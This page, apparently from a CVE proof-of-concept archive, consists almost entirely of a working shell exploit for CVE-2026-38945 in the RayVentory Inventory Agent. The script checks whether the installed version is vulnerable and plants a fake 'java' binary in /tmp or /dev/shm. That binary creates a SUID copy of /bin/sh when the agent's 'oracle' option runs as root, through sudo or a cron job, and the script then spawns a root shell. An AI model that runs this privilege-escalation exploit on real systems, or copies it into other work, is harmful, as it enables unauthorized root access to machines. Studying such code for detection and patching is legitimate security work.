5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-38945.sh SH
#!/bin/sh

# Author: Rafael José Núñez Gulías, aka rafnar or hvemerjeg
# Company: Iberian Var Group
# Description: Exploit for CVE-2026-38945 affecting RayVentory Scan Engine 12.6 Update 8 and previous versions

DEB_NON_VULNERABLE_VERSION_ARM64="12.6.4399.38"
DEB_NON_VULNERABLE_VERSION_X86_64="12.6.4399.57"
DEB_NON_VULNERABLE_VERSION_X86="12.6.4399.59"
RPM_NON_VULNERABLE_VERSION_AARCH64="12.6.4399.9-9"
RPM_NON_VULNERABLE_VERSION_X86_64="12.6.4399.120-120"
RPM_NON_VULNERABLE_VERSION_X86="12.6.4399.101-101"

SCRIPT="java"
PERMISSIONS="false"

ctrlC() {
	printf "\n[+] Exit\n" >&2
	sleep 1
	clean
	exit 1
}

trap ctrlC INT

Help() {
	exit_code=$1
	printf '%s\t%s\n' "-h" "Show help"
	printf '%s\t%s\n' "-d" "Distro based package: rpm or deb expected. This option is mandatory"
	printf '%s\t%s\n' "-t" "Check vulnerable, do not exploit."
	printf '%s\t%s\n' "-e" "Check vulnerable and exploit"
	exit $exit_code
}

exploitCVE() {
	printf "[+] Exploiting CVE-2026-38945\n"
	createScript "$SCRIPT"
	checkPermissions
	if [ $PERMISSIONS = "true" ]
	then
		sudo /opt/rvia/rvia oracle >/dev/null 2>&1 || sudo /opt/rvia/rvia oracle t=t >/dev/null 2>&1
		checkExploitationSuccess
	fi
	printf '[+] You need to wait for crontab that triggers oracle option with privileges to run. After being triggered a sh with SUID should appear at %s. Good luck :)\n' "$TARGET_DIRECTORY"
	printf '[+] After getting your privesc remember to remove %s' "${TARGET_DIRECTORY}/${SCRIPT}"
}

checkPermissions() {
        sudo_config=$(sudo -l 2>/dev/null | grep '/rvia')
        pattern1=$(printf '%s' "$sudo_config" | grep -E "/opt/rvia/rvia( \*)?$|/opt/rvia/rvia( \*)?,|/opt/rvia/rvia oracle")
        if [ -n "$pattern1" ] && printf '%s' "$pattern1" | grep -Eq '\(root\)|\(ALL:ALL\)|\(ALL\)'
        then
            VULNERABLE_SUDO_CONFIG=$(printf '%s' "$pattern1" | grep -E '\(root\)|\(ALL:ALL\)|\(ALL\)')
            printf "[+] User has sudo permissions to run oracle option\n"
            PERMISSIONS="true"
        fi
}

checkExploitationSuccess() {
        if [ -f "${TARGET_DIRECTORY}/sh" ]
        then
            clean
            "${TARGET_DIRECTORY}/sh" -p
			exit 0
        else
            printf "[!] Exploit failed\n" >&2
        fi
}

checkVulnerable() {
	getArchitecture
	if [ "$distro" = 'rpm' ]
	then
		rpm -q rvia >/dev/null
		if [ $? -ne 0 ]
		then
			printf "[!] RayVentory Inventory Agent is not installed in the rpm based system\n"
			exit 0
		fi

		version=$(rpm -q --qf "%{VERSION}-%{RELEASE}" rvia)
		command -v rpmdev-vercmp >/dev/null
		if [ $? -eq 1 ]
		then
			printf "rpmdevtools is not installed\n" >&2
			exit 1
		fi

		if [ "$architecture" = "x86_64" ]
		then
			vulnerable=$(rpmdev-vercmp "$version" "$RPM_NON_VULNERABLE_VERSION_X86_64" | grep -q '<')
		elif [ "$architecture" = "i386" ]
		then
			vulnerable=$(rpmdev-vercmp "$version" "$RPM_NON_VULNERABLE_VERSION_X86" | grep -q '<')
		elif [ "$architecture" = "aarch64" ]
		then
			vulnerable=$(rpmdev-vercmp "$version" "$RPM_NON_VULNERABLE_VERSION_AARCH64" | grep -q '<')
		else
			printf "Unknown architecture\n" >&2
			exit 1
		fi

		if [ $? -eq 0 ]
		then
			printf '[+] RayVentory Inventory Agent installed version %s is vulnerable to CVE-2026-38945\n' "$version"
		else
			printf '[!] RayVentory Inventory Agent installed version %s is not vulnerable to CVE-2026-38945\n' "$version"
			exit 0
		fi
	elif [ "$distro" = 'deb' ]
	then
		package_info=$(dpkg -l | grep rvia)
		installed=$(printf '%s' "$package_info" | awk '{print $1}')
		version=$(printf '%s' "$package_info" | awk '{print $3}')
		if [ "$installed" != 'ii' ]
		then
			printf "[!] RayVentory Inventory Agent is not installed in the deb based system\n"
			exit 0
		fi

		if [ "$architecture" = "x86_64" ]
		then
			vulnerable=$(dpkg --compare-versions "$version" lt "$DEB_NON_VULNERABLE_VERSION_X86_64")
		elif [ "$architecture" = "i386" ]
		then
			vulnerable=$(dpkg --compare-versions "$version" lt "$DEB_NON_VULNERABLE_VERSION_X86")
		elif [ "$architecture" = "aarch64" ]
		then
			vulnerable=$(dpkg --compare-versions "$version" lt "$DEB_NON_VULNERABLE_VERSION_ARM64")
		else
			printf "Unknown architecture\n" >&2
			exit 1
		fi

		if [ $? -eq 0 ]
		then
			printf '[+] RayVentory Inventory Agent installed version %s is vulnerable to CVE-2026-38945\n' "$version"
		else
			printf '[!] RayVentory Inventory Agent installed version %s is not vulnerable to CVE-2026-38945\n' "$version"
			exit 0
		fi
	else
		printf '[!] Check for distro %s based not supported\n' "$distro" >&2
		exit 1
	fi
}

getArchitecture() {
	architecture=$(uname -m)
}

checkMounts() {
	if ! $(findmnt -no OPTIONS /tmp | grep nosuid)
	then
		TARGET_DIRECTORY="/tmp"
		return
	fi

	if ! $(findmnt -no OPTIONS /dev/shm | grep nosuid)
	then
		TARGET_DIRECTORY="/dev/shm"
		return
	fi
	printf "[!] /tmp and /dev/shm are mounts and have nosuid option\n" >&2
	exit 1
}

createScript() {
	checkMounts
	exploit_name="$1"
	mkdir -p "${TARGET_DIRECTORY}/jdk/bin"
	TARGET_DIRECTORY="${TARGET_DIRECTORY}/jdk/bin"
	cat > "${TARGET_DIRECTORY}/${exploit_name}" << EOF
#!/bin/sh
/usr/bin/cp /bin/sh "${TARGET_DIRECTORY}/sh" && /usr/bin/chmod u+s "${TARGET_DIRECTORY}/sh"
EOF
	chmod o+rx "${TARGET_DIRECTORY}/${exploit_name}"
	printf '[+] Malicious java created at %s\n' "${TARGET_DIRECTORY}/${exploit_name}"
}

clean() {
	rm "${TARGET_DIRECTORY}/${SCRIPT}" >/dev/null 2>&1
}

main() {
	while getopts "tehd:" option
	do
		case "$option" in
			t) test="1";;
			d) distro="$OPTARG";;
			e) _exploit="1";;
			h) Help;;
			*) Help 1;;
		esac
	done
	if [ -z "$distro" ]
	then
		printf "[!] -d <deb|rpm> option needs to be defined\n\n" >&2
		Help 1
	fi
	if [ -n "$_exploit" ] && [ -n "$test" ]
	then
		printf "[!] It is not possible to use both -e and -t options at the same time\n" >&2
		exit 1
	fi
	if [ -n "$_exploit" ]
	then
		checkVulnerable
		exploitCVE
	elif [ -n "$test" ]
	then
		checkVulnerable
	else
		Help 1
	fi
}

main "$@"